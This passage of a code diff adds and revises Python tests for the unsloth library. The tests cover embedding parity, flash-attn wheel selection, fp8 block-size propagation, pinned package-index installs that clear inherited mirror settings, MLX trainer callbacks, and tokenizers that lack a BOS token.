+    the #6881 fix passes. Legacy ST 3.x/4.x expose load(input_path); the code falls back
+    to Transformer(...) there, so mirror that gate and skip."""
+    models = pytest.importorskip("sentence_transformers.models")
+    load = getattr(models.Transformer, "load", None)
+    assert callable(load), (
+        "sentence_transformers Transformer.load is missing; the #6881 fix in "
+        "unsloth.models.sentence_transformer._create_transformer_module depends on it."
+    )
+    params = inspect.signature(load).parameters
+    accepts_var_kw = any(p.kind is inspect.Parameter.VAR_KEYWORD for p in params.values())
+    # Mirror _create_transformer_module's hub_capable gate.
+    hub_capable = accepts_var_kw or any(k in params for k in ("token", "cache_folder", "revision"))
+    if not hub_capable:
+        pytest.skip(
+            "legacy Transformer.load(input_path); production path falls back to Transformer(...)"
+        )
+    unsupported = [
+        k
+        for k in ("token", "cache_folder", "revision", "trust_remote_code")
+        if not (accepts_var_kw or k in params)
+    ]
+    assert not unsupported, (
+        f"installed sentence_transformers Transformer.load no longer accepts {unsupported} "
+        f"and has no **kwargs; update _create_transformer_module (#6881) before it silently "
+        f"falls back to Transformer(...)."
+    )
+
+
+def _probe_texts():
+    return [
+        "roasted chickpeas in 20 kg bags",
+        "The capital of France is Paris.",
+        "A fast brown fox jumps over the lazy dog.",
+        "recette de tarte aux pommes traditionnelle",
+    ]
+
+
+def test_fast_sentence_transformer_matches_stock_st():
+    """End-to-end: FastSentenceTransformer embeddings and tokenization must match a
+    stock SentenceTransformer load of the same checkpoint. Opt-in (needs a model) and
+    GPU-only (FastSentenceTransformer requires CUDA), so it skips on CPU-only runners."""
+    model_id = os.environ.get("UNSLOTH_EMBEDDING_PARITY_MODEL")
+    if not model_id:
+        pytest.skip(
+            "set UNSLOTH_EMBEDDING_PARITY_MODEL to a chat-template embedding model "
+            "(HF id or local path) to run the #6881 parity test"
+        )
+
+    torch = pytest.importorskip("torch")
+    if not torch.cuda.is_available():
+        pytest.skip("FastSentenceTransformer requires CUDA; skipping on CPU-only runner")
+    np = pytest.importorskip("numpy")
+    pytest.importorskip("sentence_transformers")
+    from sentence_transformers import SentenceTransformer
+
+    device = "cuda"
+    # Prefer bf16 when the GPU supports it: fp16 overflows to NaN on bf16-native
+    # embedders such as EmbeddingGemma (Gemma3), which would mask real parity.
+    dtype = torch.bfloat16 if torch.cuda.is_bf16_supported() else torch.float16
+    texts = _probe_texts()
+    max_seq_length = 256
+
+    # Control FIRST, before importing unsloth, so its global import patches never
+    # touch the stock reference (mirrors the issue's "restart runtime" repro).
+    ctrl = SentenceTransformer(model_id, device = device, model_kwargs = {"torch_dtype": dtype})
+    ctrl.max_seq_length = max_seq_length
+    ctrl_ids = ctrl.tokenize([texts[0]])["input_ids"][0].tolist()
+    ctrl_emb = np.asarray(
+        ctrl.encode(texts, normalize_embeddings = True, batch_size = 8), dtype = np.float32
+    )
+
+    import unsloth  # noqa: F401
+    from unsloth import FastSentenceTransformer
+
+    fast = FastSentenceTransformer.from_pretrained(
+        model_id,
+        max_seq_length = max_seq_length,
+        dtype = dtype,
+        load_in_4bit = False,
+        load_in_16bit = True,
+    )
+    fast_ids = fast.tokenize([texts[0]])["input_ids"][0].tolist()
+    fast_emb = np.asarray(
+        fast.encode(texts, normalize_embeddings = True, batch_size = 8), dtype = np.float32
+    )
+
+    # Identical tokenization = no chat-template wrapping slipped in (the #6881 defect).
+    assert fast_ids == ctrl_ids, (
+        f"tokenization diverged (chat-template wrapping regressed?):\n"
+        f"  stock: {ctrl_ids}\n  fast:  {fast_ids}"
+    )
+
+    cos = (ctrl_emb * fast_emb).sum(1) / (
+        np.linalg.norm(ctrl_emb, axis = 1) * np.linalg.norm(fast_emb, axis = 1)
+    )
+    assert float(cos.min()) > 0.99, (
+        f"embedding parity regressed: min cosine {float(cos.min()):.5f} <= 0.99 "
+        f"(per-text {[round(float(c), 5) for c in cos]})"
+    )
diff --git a/tests/python/test_flash_attn_install_python_stack.py b/tests/python/test_flash_attn_install_python_stack.py
index 26ff03505a..bf3ed57788 100644
--- a/tests/python/test_flash_attn_install_python_stack.py
+++ b/tests/python/test_flash_attn_install_python_stack.py
@@ -13,102 +13,35 @@ sys.path.insert(0, str(STUDIO_DIR))
 sys.path.insert(0, str(STUDIO_DIR / "backend"))
 
 import install_python_stack as ips
-from backend.utils import wheel_utils
+from utils import wheel_utils
 
 
-def _smi_result(stdout: str, returncode: int = 0) -> subprocess.CompletedProcess:
-    return subprocess.CompletedProcess(["nvidia-smi"], returncode, stdout, "")
+class TestPrebuiltWheelTorchMapping:
+    def test_torch_211_maps_to_torch210(self):
+        assert wheel_utils.prebuilt_wheel_torch_mm("2.11") == "2.10"
 
+    def test_other_versions_pass_through(self):
+        for torch_mm in ("2.9", "2.10", "2.12"):
+            assert wheel_utils.prebuilt_wheel_torch_mm(torch_mm) == torch_mm
 
-class TestHasBlackwellGpu:
-    def setup_method(self):
-        wheel_utils.has_blackwell_gpu.cache_clear()
-
-    def teardown_method(self):
-        wheel_utils.has_blackwell_gpu.cache_clear()
-
-    def test_returns_false_when_nvidia_smi_missing(self):
-        with mock.patch.object(wheel_utils.shutil, "which", return_value = None):
-            assert wheel_utils.has_blackwell_gpu() is False
-
-    def test_returns_true_for_sm_100(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(wheel_utils.subprocess, "run", return_value = _smi_result("10.0\n")),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is True
-
-    def test_returns_true_for_sm_120(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(wheel_utils.subprocess, "run", return_value = _smi_result("12.0\n")),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is True
-
-    def test_returns_true_for_sm_121(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(wheel_utils.subprocess, "run", return_value = _smi_result("12.1\n")),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is True
-
-    def test_returns_false_for_sm_90(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(wheel_utils.subprocess, "run", return_value = _smi_result("9.0\n")),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is False
-
-    def test_returns_false_for_sm_89(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(wheel_utils.subprocess, "run", return_value = _smi_result("8.9\n")),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is False
-
-    def test_mixed_gpus_with_one_blackwell_returns_true(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(
-                wheel_utils.subprocess,
-                "run",
-                return_value = _smi_result("8.0\n10.0\n"),
-            ),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is True
-
-    def test_returns_false_when_nvidia_smi_fails(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(
-                wheel_utils.subprocess,
-                "run",
-                return_value = _smi_result("", returncode = 1),
-            ),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is False
-
-    def test_returns_false_on_subprocess_timeout(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(
-                wheel_utils.subprocess,
-                "run",
-                side_effect = subprocess.TimeoutExpired(cmd = "nvidia-smi", timeout = 10),
-            ),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is False
-
-    def test_returns_false_on_malformed_output(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(
-                wheel_utils.subprocess,
-                "run",
-                return_value = _smi_result("not-a-number\n\n"),
-            ),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is False
+    def test_direct_wheel_url_reuses_torch210_on_211(self):
+        # causal-conv1d / mamba go through direct_wheel_url; torch 2.11 reuses the
+        # torch2.10 wheel filename just like flash-attn does.
+        url = wheel_utils.direct_wheel_url(
+            filename_prefix = "causal_conv1d",
+            package_version = "1.6.1",
+            release_tag = "v1.6.1.post4",
+            release_base_url = "https://example.test/download",
+            env = {
+                "python_tag": "cp313",
+                "torch_mm": "2.11",
+                "cuda_major": "13",
+                "cxx11abi": "TRUE",
+                "platform_tag": "linux_x86_64",
+            },
+        )
+        assert url is not None
+        assert "causal_conv1d-1.6.1+cu13torch2.10cxx11abiTRUE-cp313-cp313-linux_x86_64.whl" in url
 
 
 class TestFlashAttnWheelSelection:
@@ -118,9 +51,24 @@ class TestFlashAttnWheelSelection:
     def test_torch_29_maps_to_v283(self):
         assert ips._select_flash_attn_version("2.9") == "2.8.3"
 
-    def test_unsupported_torch_has_no_wheel_mapping(self):
+    def test_torch_211_has_no_native_version_entry(self):
+        # The raw version table has no torch2.11-tagged wheel; the URL builder
+        # reuses the torch2.10 wheel instead (see test_torch_211_reuses_torch210_wheel).
         assert ips._select_flash_attn_version("2.11") is None
 
+    def test_torch_211_reuses_torch210_wheel(self):
+        url = ips._build_flash_attn_wheel_url(
+            {
+                "python_tag": "cp313",
+                "torch_mm": "2.11",
+                "cuda_major": "13",
+                "cxx11abi": "TRUE",
+                "platform_tag": "linux_x86_64",
+            }
+        )
+        assert url is not None
+        assert "flash_attn-2.8.1+cu13torch2.10cxx11abiTRUE-cp313-cp313-linux_x86_64.whl" in url
+
     def test_exact_wheel_url_uses_full_env_tuple(self):
         url = ips._build_flash_attn_wheel_url(
             {
@@ -333,83 +281,22 @@ class TestEnsureFlashAttn:
         mock_probe.assert_not_called()
         mock_install_wheel.assert_not_called()
 
-    def test_blackwell_gpu_skips_install_with_warning(self):
-        step_messages: list[tuple[str, str]] = []
-
-        def fake_step(
-            label: str,
-            value: str,
-            color_fn = None,
-        ):
-            step_messages.append((label, value))
-
-        with (
-            mock.patch.object(ips, "NO_TORCH", False),
-            mock.patch.object(ips, "IS_WINDOWS", False),
-            mock.patch.object(ips, "IS_MACOS", False),
-            mock.patch.object(ips, "has_blackwell_gpu", return_value = True),
-            mock.patch.object(ips, "probe_torch_wheel_env") as mock_probe,
-            mock.patch.object(ips, "install_wheel") as mock_install_wheel,
-            mock.patch.object(ips, "_step", side_effect = fake_step),
-            mock.patch("subprocess.run", return_value = self._import_check()),
-        ):
-            ips._ensure_flash_attn()
-
-        mock_probe.assert_not_called()
-        mock_install_wheel.assert_not_called()
-        assert any(label == "warning" and "Blackwell" in msg for label, msg in step_messages)
-
-    def test_blackwell_gpu_on_windows_emits_blackwell_warning(self):
-        step_messages: list[tuple[str, str]] = []
-
-        def fake_step(
-            label: str,
-            value: str,
-            color_fn = None,
-        ):
-            step_messages.append((label, value))
-
+    def test_windows_skips_install_without_probing(self):
+        # flash-attn is Linux-only: on Windows the installer returns before
+        # probing the torch env or resolving a wheel (no Windows wheels are
+        # published upstream).
         with (
             mock.patch.object(ips, "NO_TORCH", False),
             mock.patch.object(ips, "IS_WINDOWS", True),
             mock.patch.object(ips, "IS_MACOS", False),
-            mock.patch.object(ips, "has_blackwell_gpu", return_value = True),
             mock.patch.object(ips, "probe_torch_wheel_env") as mock_probe,
             mock.patch.object(ips, "install_wheel") as mock_install_wheel,
-            mock.patch.object(ips, "_step", side_effect = fake_step),
             mock.patch("subprocess.run", return_value = self._import_check()),
         ):
             ips._ensure_flash_attn()
 
         mock_probe.assert_not_called()
         mock_install_wheel.assert_not_called()
-        assert any(label == "warning" and "Blackwell" in msg for label, msg in step_messages)
-
-    def test_non_blackwell_windows_does_not_emit_blackwell_warning(self):
-        step_messages: list[tuple[str, str]] = []
-
-        def fake_step(
-            label: str,
-            value: str,
-            color_fn = None,
-        ):
-            step_messages.append((label, value))
-
-        with (
-            mock.patch.object(ips, "NO_TORCH", False),
-            mock.patch.object(ips, "IS_WINDOWS", True),
-            mock.patch.object(ips, "IS_MACOS", False),
-            mock.patch.object(ips, "has_blackwell_gpu", return_value = False),
-            mock.patch.object(ips, "probe_torch_wheel_env") as mock_probe,
-            mock.patch.object(ips, "install_wheel") as mock_install_wheel,
-            mock.patch.object(ips, "_step", side_effect = fake_step),
-            mock.patch("subprocess.run", return_value = self._import_check()),
-        ):
-            ips._ensure_flash_attn()
-
-        mock_probe.assert_not_called()
-        mock_install_wheel.assert_not_called()
-        assert not any("Blackwell" in msg for _, msg in step_messages)
 
 
 class TestInstallPythonStackFlashAttnIntegration:
diff --git a/tests/python/test_get_lora_parameters_bias_fp8_block_size.py b/tests/python/test_get_lora_parameters_bias_fp8_block_size.py
new file mode 100644
index 0000000000..835ad19542
--- /dev/null
+++ b/tests/python/test_get_lora_parameters_bias_fp8_block_size.py
@@ -0,0 +1,82 @@
+import ast
+from pathlib import Path
+
+
+def _load_function(name):
+    # Extract a function from kernels/utils.py without importing unsloth (which
+    # needs a GPU / torch / bitsandbytes). The functions exercised here only use
+    # getattr and the _FP8_WEIGHT_DTYPES name on the paths under test.
+    source = Path(__file__).parents[2] / "unsloth" / "kernels" / "utils.py"
+    tree = ast.parse(source.read_text(encoding = "utf-8"))
+    funcs = [
+        node for node in ast.walk(tree) if isinstance(node, ast.FunctionDef) and node.name == name
+    ]
+    assert len(funcs) == 1, (name, funcs)
+    namespace = {"getattr": getattr, "_FP8_WEIGHT_DTYPES": ()}
+    module = ast.Module(body = funcs, type_ignores = [])
+    ast.fix_missing_locations(module)
+    exec(compile(module, str(source), "exec"), namespace)
+    return namespace[name]
+
+
+class _Obj:
+    pass
+
+
+def _make_disabled_block_fp8_proj(block_size):
+    # A merged/disabled projection whose base layer is a block-fp8 weight that
+    # ships a non-default block size on its checkpoint.
+    weight = _Obj()
+    weight.quant_state = _Obj()
+    base_layer = _Obj()
+    base_layer.weight = weight
+    base_layer.quant_method = "fp8"
+    base_layer.block_size = block_size
+    base_layer.bias = None
+    proj = _Obj()
+    proj.base_layer = base_layer
+    proj.merged = True
+    proj.disable_adapters = True
+    return proj, weight.quant_state
+
+
+def test_bias_variant_propagates_fp8_block_size_on_disabled_path():
+    # Downstream fp8 kernels read getattr(weight_scale, "block_size", [128, 128]),
+    # so the checkpoint's real block size must survive the merged/disabled path,
+    # exactly as it does for the non-bias sibling get_lora_parameters.
+    get_lora_parameters_bias = _load_function("get_lora_parameters_bias")
+
+    proj, weight_scale = _make_disabled_block_fp8_proj([64, 128])
+    get_lora_parameters_bias(proj)
+
+    assert getattr(weight_scale, "block_size", [128, 128]) == [64, 128]
+
+
+def _make_decompressed_merged_proj():
+    # A merged compressed-tensors layer that was decompressed back to bf16. It keeps
+    # quant_method == "fp8" from the checkpoint metadata, but the live weight is bf16
+    # so there is no quant state to attach a block size to.
+    weight = _Obj()
+    weight.dtype = "bfloat16"
+    base_layer = _Obj()
+    base_layer.weight = weight
+    base_layer.quant_method = "fp8"
+    base_layer.block_size = [128, 128]
+    base_layer.bias = None
+    proj = _Obj()
+    proj.base_layer = base_layer
+    proj.merged = True
+    proj.disable_adapters = True
+    return proj
+
+
+def test_bias_variant_keeps_none_quant_state_for_decompressed_layer():
+    # Such a layer has no quant state, and fast_linear_forward relies on getting
+    # W_quant None back so it can fall back to a plain matmul, so setting the block
+    # size must not assume a quant state is present.
+    get_lora_parameters_bias = _load_function("get_lora_parameters_bias")
+
+    W, W_quant = get_lora_parameters_bias(_make_decompressed_merged_proj())[:2]
+
+    assert W_quant is None
+    assert getattr(W, "block_size", None) == [128, 128]
diff --git a/tests/python/test_get_lora_parameters_fp8_block_size.py b/tests/python/test_get_lora_parameters_fp8_block_size.py
new file mode 100644
index 0000000000..f5f1359125
--- /dev/null
+++ b/tests/python/test_get_lora_parameters_fp8_block_size.py
@@ -0,0 +1,81 @@
+import ast
+from pathlib import Path
+
+
+def _load_function(name):
+    # Extract a function from kernels/utils.py without importing unsloth (which
+    # needs a GPU / torch / bitsandbytes). get_lora_parameters only uses getattr,
+    # hasattr and the _FP8_WEIGHT_DTYPES name on the paths under test.
+    source = Path(__file__).parents[2] / "unsloth" / "kernels" / "utils.py"
+    tree = ast.parse(source.read_text(encoding = "utf-8"))
+    funcs = [
+        node for node in ast.walk(tree) if isinstance(node, ast.FunctionDef) and node.name == name
+    ]
+    assert len(funcs) == 1, (name, funcs)
+    namespace = {"getattr": getattr, "hasattr": hasattr, "_FP8_WEIGHT_DTYPES": ()}
+    module = ast.Module(body = funcs, type_ignores = [])
+    ast.fix_missing_locations(module)
+    exec(compile(module, str(source), "exec"), namespace)
+    return namespace[name]
+
+
+class _Obj:
+    pass
+
+
+def _make_disabled_block_fp8_proj(block_size):
+    # A merged/disabled projection whose base layer is a block-fp8 weight that
+    # ships a non-default block size on its checkpoint.
+    weight = _Obj()
+    weight.quant_state = _Obj()
+    base_layer = _Obj()
+    base_layer.weight = weight
+    base_layer.quant_method = "fp8"
+    base_layer.block_size = block_size
+    proj = _Obj()
+    proj.base_layer = base_layer
+    proj.merged = True
+    proj.disable_adapters = True
+    return proj, weight.quant_state
+
+
+def test_propagates_fp8_block_size_on_disabled_path():
+    # get_lora_parameters already sets block_size before its early return; downstream
+    # fp8 kernels read getattr(weight_scale, "block_size", [128, 128]), so the
+    # checkpoint's real block size must survive the merged/disabled path.
+    get_lora_parameters = _load_function("get_lora_parameters")
+
+    proj, weight_scale = _make_disabled_block_fp8_proj([64, 128])
+    get_lora_parameters(proj)
+
+    assert getattr(weight_scale, "block_size", [128, 128]) == [64, 128]
+
+
+def _make_decompressed_merged_proj():
+    # A merged compressed-tensors layer that was decompressed back to bf16. It keeps
+    # quant_method == "fp8" from the checkpoint metadata, but the live weight is bf16
+    # so there is no quant state to attach a block size to.
+    weight = _Obj()
+    weight.dtype = "bfloat16"
+    base_layer = _Obj()
+    base_layer.weight = weight
+    base_layer.quant_method = "fp8"
+    base_layer.block_size = [128, 128]
+    proj = _Obj()
+    proj.base_layer = base_layer
+    proj.merged = True
+    proj.disable_adapters = True
+    return proj
+
+
+def test_keeps_none_quant_state_for_decompressed_layer():
+    # Mirrors the get_lora_parameters_bias guard: with no quant state, assigning
+    # W_quant.block_size must not assume one is present, or it raises AttributeError
+    # on None. fast_lora relies on getting W_quant None back to fall back to a plain
+    # matmul, so this path must stay crash-free.
+    get_lora_parameters = _load_function("get_lora_parameters")
+
+    W, W_quant = get_lora_parameters(_make_decompressed_merged_proj())[:2]
+
+    assert W_quant is None
+    assert getattr(W, "block_size", None) == [128, 128]
diff --git a/tests/python/test_install_python_stack.py b/tests/python/test_install_python_stack.py
index 9015ff8c9d..3a12e53f95 100644
--- a/tests/python/test_install_python_stack.py
+++ b/tests/python/test_install_python_stack.py
@@ -54,6 +54,24 @@ class TestBuildUvCmdTorchBackend:
             a.startswith("--torch-backend") for a in cmd
         ), f"Empty UV_TORCH_BACKEND should not add flag, got: {cmd}"
 
+    def test_uv_torch_backend_skipped_for_pinned_index(self):
+        """A pinned-index command must NOT get --torch-backend: uv's torch backend
+        redirects torch resolution to its own per-backend index even when
+        --index-url is given (verified: cu128 pin + backend cpu installs
+        torch+cpu), defeating the pin."""
+        for pin_flag in ("--index-url", "--default-index"):
+            with mock.patch.dict(os.environ, {"UV_TORCH_BACKEND": "cpu"}):
+                cmd = self._call(("torch", pin_flag, "https://download.pytorch.org/whl/cu128"))
+            assert not any(
+                a.startswith("--torch-backend") for a in cmd
+            ), f"{pin_flag} command must not carry --torch-backend, got: {cmd}"
+
+    def test_uv_torch_backend_kept_for_unpinned(self):
+        """Non-pinned commands still honour UV_TORCH_BACKEND."""
+        with mock.patch.dict(os.environ, {"UV_TORCH_BACKEND": "cpu"}):
+            cmd = self._call(("somepackage",))
+        assert "--torch-backend=cpu" in cmd
+
 
 class TestUvSafePath:
     """_uv_safe_path hands uv a space-free `-c`/`-r` path (issue #6503)."""
@@ -148,3 +166,119 @@ class TestUvSafePathHardening:
 
         assert " " not in value
         assert Path(value).read_text() == "transformers>=4.57.6\n"
+
+
+class TestPinnedIndexClearsUvEnv:
+    """A pinned torch install (--index-url / --default-index) must neutralise an
+    inherited UV_INDEX / UV_EXTRA_INDEX_URL so the pinned wheel index wins.
+
+    uv treats the default index (--index-url / --default-index) as LOWEST priority,
+    so an inherited UV_INDEX / UV_EXTRA_INDEX_URL (a corporate/CPU mirror) would be
+    searched first and, under uv's default first-index strategy, resolve torch from
+    the wrong mirror -- after which the marker records a wheel index that was never
+    used. install.sh (#6898), install.ps1 and setup.ps1 already clear these for
+    pinned installs; install_python_stack must match (parity across all installers).
+    """
+
+    UV_VARS = ("UV_DEFAULT_INDEX", "UV_INDEX_URL", "UV_INDEX", "UV_EXTRA_INDEX_URL")
+
+    def test_pinned_index_url_strips_uv_index_vars(self):
+        cmd = [
+            "uv",
+            "pip",
+            "install",
+            "--force-reinstall",
+            "torch",
+            "torchvision",
+            "torchaudio",
+            "--index-url",
+            "https://download.pytorch.org/whl/cu128",
+        ]
+        with mock.patch.dict(
+            os.environ,
+            {
+                "UV_INDEX": "https://mirror.corp/simple",
+                "UV_EXTRA_INDEX_URL": "https://mirror.corp/extra",
+                "UV_INDEX_URL": "https://mirror.corp/root",
+                "UV_DEFAULT_INDEX": "https://mirror.corp/default",
+            },
+        ):
+            env = ips._install_env_for_cmd(cmd)
+        assert env is not None, "a --index-url install must run with a scrubbed env"
+        for var in self.UV_VARS:
+            assert var not in env, f"{var} must be cleared for a pinned-index install"
+
+    def test_pinned_default_index_strips_uv_index_vars(self):
+        # --default-index must be gated too (matches install.sh / install.ps1).
+        cmd = ["uv", "pip", "install", "torch", "--default-index", "https://x/cu126"]
+        with mock.patch.dict(os.environ, {"UV_INDEX": "https://mirror.corp/simple"}):
+            env = ips._install_env_for_cmd(cmd)
+        assert env is not None
+        assert "UV_INDEX" not in env
+
+    def test_non_pinned_install_keeps_user_mirror(self):
+        # A plain install (no --index-url) must NOT scrub the env, so a user's mirror
+        # still applies to base packages.
+        cmd = ["uv", "pip", "install", "unsloth", "unsloth-zoo"]
+        with mock.patch.dict(os.environ, {"UV_INDEX": "https://mirror.corp/simple"}):
+            env = ips._install_env_for_cmd(cmd)
+        assert env is None, "non-pinned installs must inherit the caller env unchanged"
+
+    def test_scrubbed_env_preserves_other_vars(self):
+        cmd = ["uv", "pip", "install", "torch", "--index-url", "https://x/cu128"]
+        with mock.patch.dict(
+            os.environ,
+            {"UV_INDEX": "https://mirror.corp/simple", "PATH_SENTINEL_XYZ": "keepme"},
+        ):
+            env = ips._install_env_for_cmd(cmd)
+        assert env is not None
+        assert env.get("PATH_SENTINEL_XYZ") == "keepme", "only uv index vars are removed"
+
+    def test_pinned_cmd_strips_pip_extra_index_url(self):
+        """PIP_EXTRA_INDEX_URL is stripped for pinned commands so the pip
+        fallback cannot satisfy torch from an inherited extra index."""
+        with mock.patch.dict(os.environ, {"PIP_EXTRA_INDEX_URL": "https://mirror/simple"}):
+            env = ips._install_env_for_cmd(
+                ["pip", "install", "torch", "--index-url", "https://x/cu128"]
+            )
+        assert env is not None and "PIP_EXTRA_INDEX_URL" not in env
+
+    def test_pinned_cmd_strips_uv_torch_backend(self):
+        """UV_TORCH_BACKEND is stripped for pinned commands so uv cannot read it
+        from the environment and reroute torch off the pinned index."""
+        with mock.patch.dict(os.environ, {"UV_TORCH_BACKEND": "cpu"}):
+            env = ips._install_env_for_cmd(
+                ["uv", "pip", "install", "torch", "--index-url", "https://x/cu128"]
+            )
+        assert env is not None and "UV_TORCH_BACKEND" not in env
+
+    def test_pinned_cmd_disables_uv_config_discovery(self):
+        """A DISCOVERED uv.toml / pyproject [tool.uv] outranks the CLI pin too
+        (verified with uv 0.10: [pip] torch-backend = "cpu" and a non-default
+        [[index]] both resolve torch+cpu against an explicit --index-url /
+        --default-index cu126 pin). Pinned commands must run with UV_NO_CONFIG=1
+        and without an inherited UV_CONFIG_FILE."""
+        with mock.patch.dict(os.environ, {"UV_CONFIG_FILE": "/etc/uv/uv.toml"}):
+            env = ips._install_env_for_cmd(
+                ["uv", "pip", "install", "torch", "--index-url", "https://x/cu128"]
+            )
+        assert env is not None
+        assert env.get("UV_NO_CONFIG") == "1"
+        assert "UV_CONFIG_FILE" not in env
+
+    def test_pinned_cmd_disables_pip_config_files(self):
+        """The pip FALLBACK honours user/site pip config files (pip config set
+        global.extra-index-url) even with the PIP_* env vars stripped; pip loads
+        NO configuration files when PIP_CONFIG_FILE is os.devnull. Harmless for
+        uv, decisive for the fallback."""
+        env = ips._install_env_for_cmd(
+            ["uv", "pip", "install", "torch", "--index-url", "https://x/cu128"]
+        )
+        assert env is not None
+        assert env.get("PIP_CONFIG_FILE") == os.devnull
+
+    def test_non_pinned_cmd_keeps_uv_config_discovery(self):
+        """Non-pinned installs inherit the caller env unchanged, so a user's uv
+        configuration still applies to base packages."""
+        env = ips._install_env_for_cmd(["uv", "pip", "install", "unsloth"])
+        assert env is None
diff --git a/tests/python/test_mlx_public_trainer_api.py b/tests/python/test_mlx_public_trainer_api.py
index 2c33f86af1..89f304c76d 100644
--- a/tests/python/test_mlx_public_trainer_api.py
+++ b/tests/python/test_mlx_public_trainer_api.py
@@ -115,6 +115,9 @@ def test_mlx_training_arguments_accept_trl_style_kwargs():
 def test_mlx_training_arguments_do_not_warn_for_implemented_or_falsey_extras():
     """Implemented and falsey inert compatibility kwargs should stay quiet."""
     unsloth = _import_mlx_unsloth()
+    supported_eval_kwargs = {}
+    if "eval_strategy" in unsloth._MLX_TRAINING_CONFIG_FIELDS:
+        supported_eval_kwargs = {"eval_strategy": "no", "eval_delay": 1}
 
     with warnings.catch_warnings(record = True) as caught:
         warnings.simplefilter("always")
@@ -125,12 +128,16 @@ def test_mlx_training_arguments_do_not_warn_for_implemented_or_falsey_extras():
             remove_unused_columns = False,
             assistant_only_loss = False,
             completion_only_loss = False,
+            **supported_eval_kwargs,
         )
 
     assert args.warmup_steps == 2
     assert args.padding_free is False
     assert args.remove_unused_columns is False
     assert args.completion_only_loss is False
+    if supported_eval_kwargs:
+        assert args.eval_strategy == "no"
+        assert args.eval_delay == 1
     assert caught == []
 
 
@@ -705,17 +712,10 @@ def test_mlx_trainer_rejects_unsafe_unsupported_sft_kwargs():
         )
 
 
-def test_mlx_trainer_rejects_metrics_and_callbacks():
-    """Trainer hooks should fail because MLXTrainer cannot honor them yet."""
+def test_mlx_trainer_rejects_compute_metrics():
+    """compute_metrics is still unsupported by MLXTrainer."""
     unsloth = _import_mlx_unsloth()
 
-    with pytest.raises(NotImplementedError, match = "callbacks"):
-        unsloth.UnslothTrainer(
-            model = _DummyModel(),
-            tokenizer = None,
-            train_dataset = [],
-            callbacks = [object()],
-        )
     with pytest.raises(NotImplementedError, match = "compute_metrics"):
         unsloth.UnslothTrainer(
             model = _DummyModel(),
@@ -725,6 +725,46 @@ def test_mlx_trainer_rejects_metrics_and_callbacks():
         )
 
 
+def test_mlx_trainer_accepts_callbacks():
+    """Callbacks are routed to MLXTrainer when the zoo backend supports them."""
+    unsloth = _import_mlx_unsloth()
+    from transformers import TrainerCallback
+
+    if not unsloth._mlx_trainer_supports_kwarg("callbacks"):
+        pytest.skip("requires unsloth-zoo MLXTrainer callback support")
+
+    class Callback(TrainerCallback):
+        pass
+
+    trainer = unsloth.UnslothTrainer(
+        model = _DummyModel(),
+        tokenizer = None,
+        train_dataset = [],
+        callbacks = [Callback()],
+    )
+    assert any(isinstance(cb, Callback) for cb in trainer.callback_handler.callbacks)
+
+
+def test_mlx_trainer_rejects_callbacks_with_old_zoo(monkeypatch):
+    """Older unsloth-zoo builds should fail clearly instead of TypeError."""
+    unsloth = _import_mlx_unsloth()
+    from transformers import TrainerCallback
+
+    monkeypatch.setattr(
+        unsloth,
+        "_mlx_trainer_supports_kwarg",
+        lambda name: name != "callbacks",
+    )
+
+    with pytest.raises(NotImplementedError, match = "callbacks require"):
+        unsloth.UnslothTrainer(
+            model = _DummyModel(),
+            tokenizer = None,
+            train_dataset = [],
+            callbacks = [TrainerCallback()],
+        )
+
+
 def test_mlx_trainer_rejects_custom_data_collator():
     """MLXTrainer owns batching; custom SFT data collators must not be ignored."""
     unsloth = _import_mlx_unsloth()
diff --git a/tests/python/test_remove_special_tokens_no_bos.py b/tests/python/test_remove_special_tokens_no_bos.py
new file mode 100644
index 0000000000..94c5ea3027
--- /dev/null
+++ b/tests/python/test_remove_special_tokens_no_bos.py
@@ -0,0 +1,46 @@
+import ast
+from pathlib import Path
+
+
+def _load_remove_special_tokens():
+    # Extract remove_special_tokens without importing unsloth (importing unsloth
+    # needs unsloth_zoo / a GPU). The function is pure Python and uses no imports,
+    # so it execs cleanly in an empty namespace.
+    source = Path(__file__).parents[2] / "unsloth" / "chat_templates.py"
+    tree = ast.parse(source.read_text(encoding = "utf-8"))
+    funcs = [
+        node
+        for node in tree.body
+        if isinstance(node, ast.FunctionDef) and node.name == "remove_special_tokens"
+    ]
+    namespace = {}
+    module = ast.Module(body = funcs, type_ignores = [])
+    ast.fix_missing_locations(module)
+    exec(compile(module, str(source), "exec"), namespace)
+    return namespace["remove_special_tokens"]
+
+
+class _StubTokenizer:
+    def __init__(self, bos_token):
+        self.bos_token = bos_token
+
+
+def test_no_bos_tokenizer_does_not_crash():
+    # Tokenizers such as Qwen2 / Qwen2.5, GPT-2, Falcon and GPT-NeoX have no BOS
+    # token, so tokenizer.bos_token is None. remove_special_tokens must leave the
+    # prompt untouched instead of raising
+    # "TypeError: startswith first arg must be str or a tuple of str, not NoneType".
+    remove_special_tokens = _load_remove_special_tokens()
+    assert remove_special_tokens(_StubTokenizer(None), "Hello world") == "Hello world"
+
+
+def test_double_bos_is_stripped():
+    # A tokenizer with a BOS token still has a single leading BOS removed.
